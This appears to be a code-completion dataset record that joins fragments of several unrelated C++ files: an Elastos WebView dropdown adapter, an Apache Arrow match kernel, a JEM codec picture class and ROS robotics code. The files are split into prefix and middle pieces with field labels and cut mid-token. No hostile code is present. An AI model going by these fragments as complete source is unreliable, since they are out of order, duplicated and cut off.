{ } int main (int argc, char **argv) { if (ONLINE_PROCESS) { ros::init(argc, argv); ros::Node n("find_elevator_buttons"); FindElevatorButtons buttonFinder; buttonFinder.init(); n.spin(); buttonFinder.shutdown(); printf("Ros process find_elevator_buttons is shutting down. \n"); } else { FindElevatorButtons buttonFinder; buttonFinder.init(); buttonFinder.shutdown(); } return 0; }
if (START_FROM_STEP <= 3) { cout << "\n\n\n*** LABEL VITERBI ***\n\n\n"; labelHMM(); cout << "\n\n\n*** FIND REQUESTED BUTTON ***\n\n\n"; getButtonInfo(); }
if_condition
[ { "content": "class svlKMeansT {\n\npublic:\n\n\tsvlKMeansT();\n\n\tvirtual ~svlKMeansT();\n\n\n\n\tvoid do_kmeans(const vector<V> &P, vector<V> &cent, vector<int> *ix, int k, int max_iter, int num_changes = 0);\n\n};\n\n\n\ntemplate<class V>\n\nsvlKMeansT<V>::svlKMeansT() {\n\n}\n\n\n\ntemplate<class V>\n\nsvl...
C++
Sources/Elastos/Frameworks/Droid/WebView/Chromium/src/elastos/droid/webview/chromium/native/ui/DropdownAdapter.cpp
jingcao80/Elastos
d0f39852356bdaf3a1234743b86364493a0441bc
#include <Elastos.CoreLibrary.Utility.h> #include "Elastos.Droid.Content.h" #include "Elastos.Droid.View.h" #include "Elastos.Droid.Widget.h" #include "elastos/droid/text/TextUtils.h" #include "elastos/droid/webkit/webview/chromium/native/base/ApiCompatibilityUtils.h" #include "elastos/droid/webkit/webview/chromium/native/ui/DropdownAdapter.h" #include "elastos/droid/webkit/webview/chromium/native/ui/DropdownDividerDrawable.h" #include "elastos/droid/webkit/webview/chromium/native/ui/DropdownItem.h" #include "elastos/droid/webkit/webview/chromium/native/ui/R_Ui.h" using Elastos::Droid::Content::Res::IResources; using Elastos::Droid::Graphics::Drawable::IDrawable; using Elastos::Droid::Graphics::IColor; using Elastos::Droid::Graphics::ITypeface; using Elastos::Droid::Text::TextUtils; using Elastos::Droid::View::CViewGroupLayoutParams; using Elastos::Droid::View::ILayoutInflater; using Elastos::Droid::View::IViewGroupLayoutParams; using Elastos::Droid::Webkit::Webview::Chromium::Base::ApiCompatibilityUtils; using Elastos::Droid::Webkit::Webview::Chromium::Ui::R; using Elastos::Droid::Webkit::Webview::Chromium::Ui::DropdownDividerDrawable; using Elastos::Droid::Webkit::Webview::Chromium::Ui::DropdownItem; using Elastos::Core::CInteger32; using Elastos::Core::CString; using Elastos::Core::ICharSequence; using Elastos::Core::IInteger32; namespace Elastos { namespace Droid { namespace Webkit { namespace Webview { namespace Chromium { namespace Ui { DropdownAdapter::DropdownAdapter( IContext* context, IList* items, ISet* separators) : mContext(context) , mSeparators(separators) , mAreAllItemsEnabled(FALSE) { ArrayAdapter::constructor(context, R::layout::dropdown_item, items); mAreAllItemsEnabled = CheckAreAllItemsEnabled(); } DropdownAdapter::DropdownAdapter( IContext* context, ArrayOf<DropdownItem*>* items, ISet* separators) : mContext(context) , mSeparators(separators) , mAreAllItemsEnabled(FALSE) { AutoPtr< ArrayOf<IInterface*> > itemsTmp = ArrayOf<IInterface*>::Alloc(items->GetLength()); for (Int32 idx=0; idx<items->GetLength(); ++idx) { itemsTmp->Set(idx, TO_IINTERFACE((*items)[idx])); } ArrayAdapter::constructor(context, R::layout::dropdown_item, itemsTmp); mAreAllItemsEnabled = CheckAreAllItemsEnabled(); } AutoPtr<IView> DropdownAdapter::GetView( Int32 position, IView* convertView, IViewGroup* parent) { AutoPtr<IView> layout = convertView; if (NULL == convertView) { AutoPtr<IInterface> interfaceTmp; mContext->GetSystemService(IContext::LAYOUT_INFLATER_SERVICE, (IInterface**)&interfaceTmp); ILayoutInflater* inflater = ILayoutInflater::Probe(interfaceTmp); inflater->Inflate(R::layout::dropdown_item, NULL, (IView**)&layout); AutoPtr<DropdownDividerDrawable> drawable = new DropdownDividerDrawable(); AutoPtr<IDrawable> drawableTmp = (IDrawable*)drawable; ApiCompatibilityUtils::SetBackgroundForView(layout, drawableTmp); } AutoPtr<IInterface> interfaceTmp; GetItem(position, (IInterface**)&interfaceTmp); IObject* objTmp = IObject::Probe(interfaceTmp); DropdownItem* item = (DropdownItem*)objTmp; AutoPtr<IView> viewTmp; layout->FindViewById(R::id::dropdown_label, (IView**)&viewTmp); ITextView* labelView = ITextView::Probe(viewTmp); String label = item->GetLabel(); AutoPtr<ICharSequence> charSequence; CString::New(label, (ICharSequence**)&charSequence); labelView->SetText(charSequence); viewTmp->SetEnabled(item->IsEnabled()); if (item->IsGroupHeader()) { labelView->SetTypeface(NULL, ITypeface::BOLD); } else { labelView->SetTypeface(NULL, ITypeface::NORMAL); } AutoPtr<IDrawable> drawableTmp; layout->GetBackground((IDrawable**)&drawableTmp); IObject* objectTmp = IObject::Probe(drawableTmp); AutoPtr<DropdownDividerDrawable> divider = (DropdownDividerDrawable*)objectTmp; Int32 height = 0; AutoPtr<IResources> resources; mContext->GetResources((IResources**)&resources); resources->GetDimensionPixelSize(R::dimen::dropdown_item_height, &height); if (position == 0) { divider->SetColor(IColor::TRANSPARENT); } else { Int32 dividerHeight = 0; AutoPtr<IResources> resources; mContext->GetResources((IResources**)&resources); resources->GetDimensionPixelSize(R::dimen::dropdown_item_divider_height, &dividerHeight); height += dividerHeight; divider->SetHeight(dividerHeight); AutoPtr<IInteger32> positionTmp; CInteger32::New(position, (IInteger32**)&positionTmp); Boolean contain = FALSE; AutoPtr<IInterface> interfaceTmp = (IInterface*)positionTmp; mSeparators->Contains(interfaceTmp, &contain); Int32 color = 0; AutoPtr<IResources> res; mContext->GetResources((IResources**)&res); if (NULL != mSeparators && contain) { res->GetColor(R::color::dropdown_dark_divider_color, &color); divider->SetColor(color); } else { res->GetColor(R::color::dropdown_divider_color, &color); divider->SetColor(color); } } AutoPtr<IViewGroupLayoutParams> layoutParams; CViewGroupLayoutParams::New(IViewGroupLayoutParams::MATCH_PARENT, height, (IViewGroupLayoutParams**)&layoutParams); layout->SetLayoutParams(layoutParams); AutoPtr<IView> viewTmp1; layout->FindViewById(R::id::dropdown_sublabel, (IView**)&viewTmp1); ITextView* sublabelView = ITextView::Probe(viewTmp1); String subLabelTmp = item->GetSublabel(); AutoPtr<ICharSequence> sublabel; CString::New(subLabelTmp, (ICharSequence**)&sublabel); if (TextUtils::IsEmpty(sublabel)) { viewTmp1->SetVisibility(IView::GONE); } else { sublabelView->SetText(sublabel); viewTmp1->SetVisibility(IView::VISIBLE); } return layout; } Boolean DropdownAdapter::AreAllItemsEnabled() { return mAreAllItemsEnabled; } Boolean DropdownAdapter::IsEnabled( Int32 position) { Int32 count = 0; GetCount(&count); if (position < 0 || position >= count) return FALSE; AutoPtr<IInterface> interfaceTmp; GetItem(position, (IInterface**)&interfaceTmp); IObject* objTmp = IObject::Probe(interfaceTmp); DropdownItem* item = (DropdownItem*)objTmp; return item->IsEnabled() && !item->IsGroupHeader(); } Boolean DropdownAdapter::CheckAreAllItemsEnabled() { Int32 count = 0; GetCount(&count); for (Int32 i = 0; i < count; ++i) { AutoPtr<IInterface> interfaceTmp; GetItem(i, (IInterface**)&interfaceTmp); IObject* objTmp = IObject::Probe(interfaceTmp); DropdownItem* item = (DropdownItem*)objTmp; if (item->IsEnabled() && !item->IsGroupHeader()) { return FALSE; } } return TRUE; } } } } } } }
#include <Elastos.CoreLibrary.Utility.h> #include "Elastos.Droid.Content.h" #include "Elastos.Droid.View.h" #include "Elastos.Droid.Widget.h" #include "elastos/droid/text/TextUtils.h" #include "elastos/droid/webkit/webview/chromium/native/base/ApiCompatibilityUtils.h" #include "elastos/droid/webkit/webview/chromium/native/ui/DropdownAdapter.h" #include "elastos/droid/webkit/webview/chromium/native/ui/DropdownDividerDrawable.h" #include "elastos/droid/webkit/webview/chromium/native/ui/DropdownItem.h" #include "elastos/droid/webkit/webview/chromium/native/ui/R_Ui.h" using Elastos::Droid::Content::Res::IResources; using Elastos::Droid::Graphics::Drawable::IDrawable; using Elastos::Droid::Graphics::IColor; using Elastos::Droid::Graphics::ITypeface; using Elastos::Droid::Text::TextUtils; using Elastos::D
) { AutoPtr<IInterface> interfaceTmp; GetItem(i, (IInterface**)&interfaceTmp); IObject* objTmp = IObject::Probe(interfaceTmp); DropdownItem* item = (DropdownItem*)objTmp; if (item->IsEnabled() && !item->IsGroupHeader()) { return FALSE; } } return TRUE; } } } } } } }
roid::View::CViewGroupLayoutParams; using Elastos::Droid::View::ILayoutInflater; using Elastos::Droid::View::IViewGroupLayoutParams; using Elastos::Droid::Webkit::Webview::Chromium::Base::ApiCompatibilityUtils; using Elastos::Droid::Webkit::Webview::Chromium::Ui::R; using Elastos::Droid::Webkit::Webview::Chromium::Ui::DropdownDividerDrawable; using Elastos::Droid::Webkit::Webview::Chromium::Ui::DropdownItem; using Elastos::Core::CInteger32; using Elastos::Core::CString; using Elastos::Core::ICharSequence; using Elastos::Core::IInteger32; namespace Elastos { namespace Droid { namespace Webkit { namespace Webview { namespace Chromium { namespace Ui { DropdownAdapter::DropdownAdapter( IContext* context, IList* items, ISet* separators) : mContext(context) , mSeparators(separators) , mAreAllItemsEnabled(FALSE) { ArrayAdapter::constructor(context, R::layout::dropdown_item, items); mAreAllItemsEnabled = CheckAreAllItemsEnabled(); } DropdownAdapter::DropdownAdapter( IContext* context, ArrayOf<DropdownItem*>* items, ISet* separators) : mContext(context) , mSeparators(separators) , mAreAllItemsEnabled(FALSE) { AutoPtr< ArrayOf<IInterface*> > itemsTmp = ArrayOf<IInterface*>::Alloc(items->GetLength()); for (Int32 idx=0; idx<items->GetLength(); ++idx) { itemsTmp->Set(idx, TO_IINTERFACE((*items)[idx])); } ArrayAdapter::constructor(context, R::layout::dropdown_item, itemsTmp); mAreAllItemsEnabled = CheckAreAllItemsEnabled(); } AutoPtr<IView> DropdownAdapter::GetView( Int32 position, IView* convertView, IViewGroup* parent) { AutoPtr<IView> layout = convertView; if (NULL == convertView) { AutoPtr<IInterface> interfaceTmp; mContext->GetSystemService(IContext::LAYOUT_INFLATER_SERVICE, (IInterface**)&interfaceTmp); ILayoutInflater* inflater = ILayoutInflater::Probe(interfaceTmp); inflater->Inflate(R::layout::dropdown_item, NULL, (IView**)&layout); AutoPtr<DropdownDividerDrawable> drawable = new DropdownDividerDrawable(); AutoPtr<IDrawable> drawableTmp = (IDrawable*)drawable; ApiCompatibilityUtils::SetBackgroundForView(layout, drawableTmp); } AutoPtr<IInterface> interfaceTmp; GetItem(position, (IInterface**)&interfaceTmp); IObject* objTmp = IObject::Probe(interfaceTmp); DropdownItem* item = (DropdownItem*)objTmp; AutoPtr<IView> viewTmp; layout->FindViewById(R::id::dropdown_label, (IView**)&viewTmp); ITextView* labelView = ITextView::Probe(viewTmp); String label = item->GetLabel(); AutoPtr<ICharSequence> charSequence; CString::New(label, (ICharSequence**)&charSequence); labelView->SetText(charSequence); viewTmp->SetEnabled(item->IsEnabled()); if (item->IsGroupHeader()) { labelView->SetTypeface(NULL, ITypeface::BOLD); } else { labelView->SetTypeface(NULL, ITypeface::NORMAL); } AutoPtr<IDrawable> drawableTmp; layout->GetBackground((IDrawable**)&drawableTmp); IObject* objectTmp = IObject::Probe(drawableTmp); AutoPtr<DropdownDividerDrawable> divider = (DropdownDividerDrawable*)objectTmp; Int32 height = 0; AutoPtr<IResources> resources; mContext->GetResources((IResources**)&resources); resources->GetDimensionPixelSize(R::dimen::dropdown_item_height, &height); if (position == 0) { divider->SetColor(IColor::TRANSPARENT); } else { Int32 dividerHeight = 0; AutoPtr<IResources> resources; mContext->GetResources((IResources**)&resources); resources->GetDimensionPixelSize(R::dimen::dropdown_item_divider_height, &dividerHeight); height += dividerHeight; divider->SetHeight(dividerHeight); AutoPtr<IInteger32> positionTmp; CInteger32::New(position, (IInteger32**)&positionTmp); Boolean contain = FALSE; AutoPtr<IInterface> interfaceTmp = (IInterface*)positionTmp; mSeparators->Contains(interfaceTmp, &contain); Int32 color = 0; AutoPtr<IResources> res; mContext->GetResources((IResources**)&res); if (NULL != mSeparators && contain) { res->GetColor(R::color::dropdown_dark_divider_color, &color); divider->SetColor(color); } else { res->GetColor(R::color::dropdown_divider_color, &color); divider->SetColor(color); } } AutoPtr<IViewGroupLayoutParams> layoutParams; CViewGroupLayoutParams::New(IViewGroupLayoutParams::MATCH_PARENT, height, (IViewGroupLayoutParams**)&layoutParams); layout->SetLayoutParams(layoutParams); AutoPtr<IView> viewTmp1; layout->FindViewById(R::id::dropdown_sublabel, (IView**)&viewTmp1); ITextView* sublabelView = ITextView::Probe(viewTmp1); String subLabelTmp = item->GetSublabel(); AutoPtr<ICharSequence> sublabel; CString::New(subLabelTmp, (ICharSequence**)&sublabel); if (TextUtils::IsEmpty(sublabel)) { viewTmp1->SetVisibility(IView::GONE); } else { sublabelView->SetText(sublabel); viewTmp1->SetVisibility(IView::VISIBLE); } return layout; } Boolean DropdownAdapter::AreAllItemsEnabled() { return mAreAllItemsEnabled; } Boolean DropdownAdapter::IsEnabled( Int32 position) { Int32 count = 0; GetCount(&count); if (position < 0 || position >= count) return FALSE; AutoPtr<IInterface> interfaceTmp; GetItem(position, (IInterface**)&interfaceTmp); IObject* objTmp = IObject::Probe(interfaceTmp); DropdownItem* item = (DropdownItem*)objTmp; return item->IsEnabled() && !item->IsGroupHeader(); } Boolean DropdownAdapter::CheckAreAllItemsEnabled() { Int32 count = 0; GetCount(&count); for (Int32 i = 0; i < count; ++i
random
[]
C++
cpp/src/arrow/compute/kernels/match.cc
palmerlao/arrow
4e680c46ad5aa76ba1dc85574c4e96a51450364f
#include "arrow/compute/kernels/match.h" #include <algorithm> #include <cstdint> #include <cstring> #include <memory> #include <sstream> #include <string> #include <type_traits> #include <utility> #include <vector> #include "arrow/array.h" #include "arrow/array/dict_internal.h" #include "arrow/buffer.h" #include "arrow/builder.h" #include "arrow/compute/context.h" #include "arrow/compute/kernel.h" #include "arrow/compute/kernels/util_internal.h" #include "arrow/memory_pool.h" #include "arrow/type.h" #include "arrow/type_traits.h" #include "arrow/util/bit_util.h" #include "arrow/util/checked_cast.h" #include "arrow/util/hashing.h" #include "arrow/util/logging.h" #include "arrow/util/macros.h" #include "arrow/util/string_view.h" #include "arrow/visitor_inline.h" namespace arrow { using internal::checked_cast; using internal::DictionaryTraits; using internal::HashTraits; namespace compute { class MatchKernelImpl : public UnaryKernel { public: std::shared_ptr<DataType> out_type() const override { return int32(); } virtual Status Init(const Datum& needles) = 0; }; template <typename Type, typename Scalar> class MatchKernel : public MatchKernelImpl { public: MatchKernel(std::shared_ptr<DataType> type, MemoryPool* pool) : type_(std::move(type)), pool_(pool) {} Status Call(FunctionContext* ctx, const Datum& haystack, Datum* out) override { if (!haystack.is_arraylike()) { return Status::Invalid("Haystack input to match kernel was not array-like"); } Int32Builder indices_builder; RETURN_NOT_OK(indices_builder.Reserve(haystack.length())); auto lookup_value = [&](util::optional<Scalar> v) { if (v.has_value()) { if (needles_table_->Get(*v) != -1) { indices_builder.UnsafeAppend(needles_table_->Get(*v)); } else { indices_builder.UnsafeAppendNull(); } } else { if (needles_table_->GetNull() != -1) { indices_builder.UnsafeAppend(needles_table_->GetNull()); } else { indices_builder.UnsafeAppendNull(); } } }; if (haystack.kind() == Datum::ARRAY) { VisitArrayDataInline<Type>(*haystack.array(), lookup_value); } if (haystack.kind() == Datum::CHUNKED_ARRAY) { for (const auto& chunk : haystack.chunked_array()->chunks()) { VisitArrayDataInline<Type>(*chunk->data(), lookup_value); } } std::shared_ptr<ArrayData> out_data; RETURN_NOT_OK(indices_builder.FinishInternal(&out_data)); out->value = std::move(out_data); return Status::OK(); } Status Init(const Datum& needles) override { if (!needles.is_arraylike()) { return Status::Invalid("Needles input to match kernel was not array-like"); } needles_table_.reset(new MemoTable(pool_, 0)); auto insert_value = [&](util::optional<Scalar> v) { if (v.has_value()) { int32_t unused_memo_index; return needles_table_->GetOrInsert(*v, &unused_memo_index); } needles_table_->GetOrInsertNull(); return Status::OK(); }; if (needles.kind() == Datum::ARRAY) { return VisitArrayDataInline<Type>(*needles.array(), insert_value); } for (const auto& chunk : needles.chunked_array()->chunks()) { RETURN_NOT_OK(VisitArrayDataInline<Type>(*chunk->data(), insert_value)); } return Status::OK(); } protected: using MemoTable = typename HashTraits<Type>::MemoTableType; std::unique_ptr<MemoTable> needles_table_; std::shared_ptr<DataType> type_; MemoryPool* pool_; }; class NullMatchKernel : public MatchKernelImpl { public: NullMatchKernel(const std::shared_ptr<DataType>& type, MemoryPool* pool) {} Status Call(FunctionContext* ctx, const Datum& haystack, Datum* out) override { if (!haystack.is_arraylike()) { return Status::Invalid("Haystack input to match kernel was not array-like"); } Int32Builder indices_builder; if (haystack.length() != 0) { if (needles_null_count_ == 0) { RETURN_NOT_OK(indices_builder.AppendNulls(haystack.length())); } else { RETURN_NOT_OK(indices_builder.Reserve(haystack.length())); for (int64_t i = 0; i < haystack.length(); ++i) { indices_builder.UnsafeAppend(0); } } } std::shared_ptr<ArrayData> out_data; RETURN_NOT_OK(indices_builder.FinishInternal(&out_data)); out->value = std::move(out_data); return Status::OK(); } Status Init(const Datum& needles) override { if (!needles.is_arraylike()) { return Status::Invalid("Needles input to match kernel was not array-like"); } needles_null_count_ = needles.length(); return Status::OK(); } private: int64_t needles_null_count_{}; }; template <typename Type, typename Enable = void> struct MatchKernelTraits; template <> struct MatchKernelTraits<NullType> { using MatchKernelImpl = NullMatchKernel; }; template <typename Type> struct MatchKernelTraits<Type, enable_if_has_c_type<Type>> { using MatchKernelImpl = MatchKernel<Type, typename Type::c_type>; }; template <> struct MatchKernelTraits<BooleanType> { using MatchKernelImpl = MatchKernel<BooleanType, bool>; }; template <typename Type> struct MatchKernelTraits<Type, enable_if_base_binary<Type>> { using MatchKernelImpl = MatchKernel<Type, util::string_view>; }; template <typename Type> struct MatchKernelTraits<Type, enable_if_fixed_size_binary<Type>> { using MatchKernelImpl = MatchKernel<Type, util::string_view>; }; Status GetMatchKernel(FunctionContext* ctx, const std::shared_ptr<DataType>& type, const Datum& needles, std::unique_ptr<MatchKernelImpl>* out) { std::unique_ptr<MatchKernelImpl> kernel; #define MATCH_CASE(InType) \ case InType::type_id: \ kernel.reset(new typename MatchKernelTraits<InType>::MatchKernelImpl( \ type, ctx->memory_pool())); \ break switch (type->id()) { MATCH_CASE(NullType); MATCH_CASE(BooleanType); MATCH_CASE(UInt8Type); MATCH_CASE(Int8Type); MATCH_CASE(UInt16Type); MATCH_CASE(Int16Type); MATCH_CASE(UInt32Type); MATCH_CASE(Int32Type); MATCH_CASE(UInt64Type); MATCH_CASE(Int64Type); MATCH_CASE(FloatType); MATCH_CASE(DoubleType); MATCH_CASE(Date32Type); MATCH_CASE(Date64Type); MATCH_CASE(Time32Type); MATCH_CASE(Time64Type); MATCH_CASE(TimestampType); MATCH_CASE(BinaryType); MATCH_CASE(StringType); MATCH_CASE(FixedSizeBinaryType); MATCH_CASE(Decimal128Type); default: break; } #undef MATCH_CASE if (!kernel) { return Status::NotImplemented("Match is not implemented for ", type->ToString()); } RETURN_NOT_OK(kernel->Init(needles)); *out = std::move(kernel); return Status::OK(); } Status Match(FunctionContext* ctx, const Datum& haystack, const Datum& needles, Datum* out) { DCHECK(haystack.type()->Equals(needles.type())); std::vector<Datum> outputs; std::unique_ptr<MatchKernelImpl> kernel; RETURN_NOT_OK(GetMatchKernel(ctx, haystack.type(), needles, &kernel)); RETURN_NOT_OK(detail::InvokeUnaryArrayKernel(ctx, kernel.get(), haystack, &outputs)); *out = detail::WrapDatumsLike(haystack, kernel->out_type(), outputs); return Status::OK(); } } }
#include "arrow/compute/kernels/match.h" #include <algorithm> #include <cstdint> #include <cstring> #include <memory> #include <sstream> #include <string> #include <type_traits> #include <utility> #include <vector> #include "arrow/array.h" #include "arrow/array/dict_internal.h" #include "arrow/buffer.h" #include "arrow/builder.h" #include "arrow/compute/context.h" #include "arrow/compute/kernel.h" #include "arrow/compute/kernels/util_internal.h" #include "arrow/memory_pool.h" #include "arrow/type.h" #include "arrow/type_traits.h" #include "arrow/util/bit_util.h" #include "arrow/util/checked_cast.h" #include "arrow/util/hashing.h" #include "arrow/util/logging.h" #include "arrow/util/macros.h" #include "arrow/util/string_view.h" #include "arrow/visitor_inline.h" namespace arrow { using internal::checked_cast; using internal::DictionaryTraits; using internal::HashTraits; namespace compute { class MatchKernelImpl : public UnaryKernel { public: std::shared_ptr<DataType> out_type() const override { return int32(); } virtual Status Init(const Datum& needles) = 0; }; template <typename Type, typename Scalar> class MatchKernel : public MatchKernelImpl { public: MatchKernel(std::shared_ptr<DataType> type, MemoryPool* pool) : type_(std::move(type)), pool_(pool) {} Status Call(FunctionContext* ctx, const Datum& haystack, Datum* out) override { if (!haystack.is_arraylike()) { return Status::Invalid("Haystack input to match kernel was not array-like"); } Int32Builder indices_builder; RETURN_NOT_OK(indices_builder.Reserve(haystack.length())); auto lookup_value = [&](util::optional<Scalar> v) { if (v.has_value()) { if (needles_table_->Get(*v) != -1) { indices_builder.UnsafeAppend(needles_table_->Get(*v)); } else { indices_builder.UnsafeAppendNull(); } } else { if (needles_table_->GetNull() != -1) {
Status Init(const Datum& needles) override { if (!needles.is_arraylike()) { return Status::Invalid("Needles input to match kernel was not array-like"); } needles_table_.reset(new MemoTable(pool_, 0)); auto insert_value = [&](util::optional<Scalar> v) { if (v.has_value()) { int32_t unused_memo_index; return needles_table_->GetOrInsert(*v, &unused_memo_index); } needles_table_->GetOrInsertNull(); return Status::OK(); }; if (needles.kind() == Datum::ARRAY) { return VisitArrayDataInline<Type>(*needles.array(), insert_value); } for (const auto& chunk : needles.chunked_array()->chunks()) { RETURN_NOT_OK(VisitArrayDataInline<Type>(*chunk->data(), insert_value)); } return Status::OK(); } protected: using MemoTable = typename HashTraits<Type>::MemoTableType; std::unique_ptr<MemoTable> needles_table_; std::shared_ptr<DataType> type_; MemoryPool* pool_; }; class NullMatchKernel : public MatchKernelImpl { public: NullMatchKernel(const std::shared_ptr<DataType>& type, MemoryPool* pool) {} Status Call(FunctionContext* ctx, const Datum& haystack, Datum* out) override { if (!haystack.is_arraylike()) { return Status::Invalid("Haystack input to match kernel was not array-like"); } Int32Builder indices_builder; if (haystack.length() != 0) { if (needles_null_count_ == 0) { RETURN_NOT_OK(indices_builder.AppendNulls(haystack.length())); } else { RETURN_NOT_OK(indices_builder.Reserve(haystack.length())); for (int64_t i = 0; i < haystack.length(); ++i) { indices_builder.UnsafeAppend(0); } } } std::shared_ptr<ArrayData> out_data; RETURN_NOT_OK(indices_builder.FinishInternal(&out_data)); out->value = std::move(out_data); return Status::OK(); } Status Init(const Datum& needles) override { if (!needles.is_arraylike()) { return Status::Invalid("Needles input to match kernel was not array-like"); } needles_null_count_ = needles.length(); return Status::OK(); } private: int64_t needles_null_count_{}; }; template <typename Type, typename Enable = void> struct MatchKernelTraits; template <> struct MatchKernelTraits<NullType> { using MatchKernelImpl = NullMatchKernel; }; template <typename Type> struct MatchKernelTraits<Type, enable_if_has_c_type<Type>> { using MatchKernelImpl = MatchKernel<Type, typename Type::c_type>; }; template <> struct MatchKernelTraits<BooleanType> { using MatchKernelImpl = MatchKernel<BooleanType, bool>; }; template <typename Type> struct MatchKernelTraits<Type, enable_if_base_binary<Type>> { using MatchKernelImpl = MatchKernel<Type, util::string_view>; }; template <typename Type> struct MatchKernelTraits<Type, enable_if_fixed_size_binary<Type>> { using MatchKernelImpl = MatchKernel<Type, util::string_view>; }; Status GetMatchKernel(FunctionContext* ctx, const std::shared_ptr<DataType>& type, const Datum& needles, std::unique_ptr<MatchKernelImpl>* out) { std::unique_ptr<MatchKernelImpl> kernel; #define MATCH_CASE(InType) \ case InType::type_id: \ kernel.reset(new typename MatchKernelTraits<InType>::MatchKernelImpl( \ type, ctx->memory_pool())); \ break switch (type->id()) { MATCH_CASE(NullType); MATCH_CASE(BooleanType); MATCH_CASE(UInt8Type); MATCH_CASE(Int8Type); MATCH_CASE(UInt16Type); MATCH_CASE(Int16Type); MATCH_CASE(UInt32Type); MATCH_CASE(Int32Type); MATCH_CASE(UInt64Type); MATCH_CASE(Int64Type); MATCH_CASE(FloatType); MATCH_CASE(DoubleType); MATCH_CASE(Date32Type); MATCH_CASE(Date64Type); MATCH_CASE(Time32Type); MATCH_CASE(Time64Type); MATCH_CASE(TimestampType); MATCH_CASE(BinaryType); MATCH_CASE(StringType); MATCH_CASE(FixedSizeBinaryType); MATCH_CASE(Decimal128Type); default: break; } #undef MATCH_CASE if (!kernel) { return Status::NotImplemented("Match is not implemented for ", type->ToString()); } RETURN_NOT_OK(kernel->Init(needles)); *out = std::move(kernel); return Status::OK(); } Status Match(FunctionContext* ctx, const Datum& haystack, const Datum& needles, Datum* out) { DCHECK(haystack.type()->Equals(needles.type())); std::vector<Datum> outputs; std::unique_ptr<MatchKernelImpl> kernel; RETURN_NOT_OK(GetMatchKernel(ctx, haystack.type(), needles, &kernel)); RETURN_NOT_OK(detail::InvokeUnaryArrayKernel(ctx, kernel.get(), haystack, &outputs)); *out = detail::WrapDatumsLike(haystack, kernel->out_type(), outputs); return Status::OK(); } } }
indices_builder.UnsafeAppend(needles_table_->GetNull()); } else { indices_builder.UnsafeAppendNull(); } } }; if (haystack.kind() == Datum::ARRAY) { VisitArrayDataInline<Type>(*haystack.array(), lookup_value); } if (haystack.kind() == Datum::CHUNKED_ARRAY) { for (const auto& chunk : haystack.chunked_array()->chunks()) { VisitArrayDataInline<Type>(*chunk->data(), lookup_value); } } std::shared_ptr<ArrayData> out_data; RETURN_NOT_OK(indices_builder.FinishInternal(&out_data)); out->value = std::move(out_data); return Status::OK(); }
function_block-function_prefix_line
[ { "content": "class StringFormatter<Int32Type> : public IntToStringFormatterMixin<Int32Type> {\n\n using IntToStringFormatterMixin::IntToStringFormatterMixin;\n\n};\n\n\n\ntemplate <>\n", "file_path": "cpp/src/arrow/util/formatting.h", "rank": 3, "score": 501987.0675901464 }, { "content": "...
C++
source/Lib/TLibCommon/TComPic.cpp
ChristianFeldmann/libJEM
e78aa50655aa2c126069403efe56b701b619c7c0
#include "TComPic.h" #include "SEI.h" TComPic::TComPic() : m_uiTLayer (0) , m_bUsedByCurr (false) , m_bIsLongTerm (false) , m_pcPicYuvPred (NULL) , m_pcPicYuvResi (NULL) , m_bReconstructed (false) , m_bNeededForOutput (false) , m_uiCurrSliceIdx (0) , m_bCheckLTMSB (false) { for(UInt i=0; i<NUM_PIC_YUV; i++) { m_apcPicYuv[i] = NULL; } #if VCEG_AZ08_INTER_KLT m_apcQuaPicYuv[0][0] = NULL; m_apcQuaPicYuv[0][1] = NULL; m_apcQuaPicYuv[0][2] = NULL; m_apcQuaPicYuv[0][3] = NULL; m_apcQuaPicYuv[1][0] = NULL; m_apcQuaPicYuv[1][1] = NULL; m_apcQuaPicYuv[1][2] = NULL; m_apcQuaPicYuv[1][3] = NULL; m_apcQuaPicYuv[2][0] = NULL; m_apcQuaPicYuv[2][1] = NULL; m_apcQuaPicYuv[2][2] = NULL; m_apcQuaPicYuv[2][3] = NULL; m_apcQuaPicYuv[3][0] = NULL; m_apcQuaPicYuv[3][1] = NULL; m_apcQuaPicYuv[3][2] = NULL; m_apcQuaPicYuv[3][3] = NULL; #endif } TComPic::~TComPic() { } Void TComPic::create( const TComSPS &sps, const TComPPS &pps, const Bool bIsVirtual, TComRomScan *scan) { const ChromaFormat chromaFormatIDC = sps.getChromaFormatIdc(); const Int iWidth = sps.getPicWidthInLumaSamples(); const Int iHeight = sps.getPicHeightInLumaSamples(); #if JVET_C0024_QTBT const UInt uiMaxCuWidth = sps.getCTUSize(); const UInt uiMaxCuHeight = sps.getCTUSize(); #else const UInt uiMaxCuWidth = sps.getMaxCUWidth(); const UInt uiMaxCuHeight = sps.getMaxCUHeight(); #endif const UInt uiMaxDepth = sps.getMaxTotalCUDepth(); #if COM16_C806_VCEG_AZ10_SUB_PU_TMVP m_iNumCuInWidth = iWidth / uiMaxCuWidth; m_iNumCuInWidth += ( iWidth % uiMaxCuWidth ) ? 1 : 0; m_iBaseUnitWidth = uiMaxCuWidth >> uiMaxDepth; m_iBaseUnitHeight = uiMaxCuHeight >> uiMaxDepth; #endif romScan = scan; m_picSym.create( sps, pps, uiMaxDepth, romScan ); if (!bIsVirtual) { m_apcPicYuv[PIC_YUV_ORG ] = new TComPicYuv; m_apcPicYuv[PIC_YUV_ORG ]->create( iWidth, iHeight, chromaFormatIDC, uiMaxCuWidth, uiMaxCuHeight, uiMaxDepth, true, romScan ); m_apcPicYuv[PIC_YUV_TRUE_ORG] = new TComPicYuv; m_apcPicYuv[PIC_YUV_TRUE_ORG]->create( iWidth, iHeight, chromaFormatIDC, uiMaxCuWidth, uiMaxCuHeight, uiMaxDepth, true, romScan ); } m_apcPicYuv[PIC_YUV_REC] = new TComPicYuv; m_apcPicYuv[PIC_YUV_REC]->create( iWidth, iHeight, chromaFormatIDC, uiMaxCuWidth, uiMaxCuHeight, uiMaxDepth, true, romScan ); #if VCEG_AZ08_INTER_KLT #if VCEG_AZ08_USE_KLT if (sps.getUseInterKLT()) { #endif for (UInt uiRow = 0; uiRow < 4; uiRow++) { for (UInt uiCol = 0; uiCol < 4; uiCol++) { if (uiRow == 0 && uiCol == 0) { m_apcQuaPicYuv[uiRow][uiCol] = m_apcPicYuv[PIC_YUV_REC]; } else { m_apcQuaPicYuv[uiRow][uiCol] = new TComPicYuv; m_apcQuaPicYuv[uiRow][uiCol]->create(iWidth, iHeight, chromaFormatIDC, uiMaxCuWidth, uiMaxCuHeight, uiMaxDepth, true, romScan); } } } #if VCEG_AZ08_USE_KLT } #endif #endif if (m_SEIs.size() > 0) { deleteSEIs (m_SEIs); } m_bUsedByCurr = false; } Void TComPic::destroy() { m_picSym.destroy(); for(UInt i=0; 